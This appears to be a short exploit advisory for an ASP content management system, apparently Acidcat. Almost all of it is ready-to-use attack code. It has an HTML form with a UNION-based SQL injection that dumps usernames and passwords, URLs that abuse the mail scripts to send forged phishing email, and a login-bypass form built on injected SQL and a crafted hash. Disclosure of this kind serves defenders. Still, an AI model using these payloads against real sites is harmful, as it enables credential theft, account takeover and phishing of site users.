# Original Advisory: http://bugreport.ir/index.php?/36

1. Exploits:

1.1. Attacker can gain usernames and passwords:
-------------
    <form action="http://[The URL]/default.asp?formType=&itemID=" method="post">
    <input type="text" name="cID" id="cID" value="-1 union select 1,username,3,password,5,6,7,8,9,10,'1-1-2000','1-1-2010' from ac_user" />
    <br />
    <input type="submit" value="Submit" />
    </form>
-------------
1.2. Attacker can send email without any permission:
-------------
    default_mail_aspemail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!
                                
    default_mail_cdosys.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!
    
    default_mail_jmail.asp? AcidcatSend=1&From=Fake@Site.com&FromName=FakeAdmin&To=Victim@Email.com&Subject=Forgery&Body=Change your password to 123456!
-------------
1.3. Attacker can login to the site:
-------------
    <form action="main_login2.asp" method="post">
    <input type="hidden" name="username" id="username" value="FooNot' union select 1,2,3,'%CE%10%C9%CE%AC%0F%F3%07A%91%8B%1B%9FF%2D%DF%EBcO%9Au%5F%28%80%A5%0D%D0%89%EA%EF%3E%BB%BDx%5F%0EM%7C%09%2C%B6s%9D%EAa%2FqX%7E%08%05%CAZ%26%1ET%10%CE' from ac_user where Username='1'or'1'='1'or'1'='1" size="200"/>
    <br />
    <input type="hidden" name="password" id="password" value="0" />
    <br />
    <input type="submit" value="Click To Login!" />
    </form>
-------------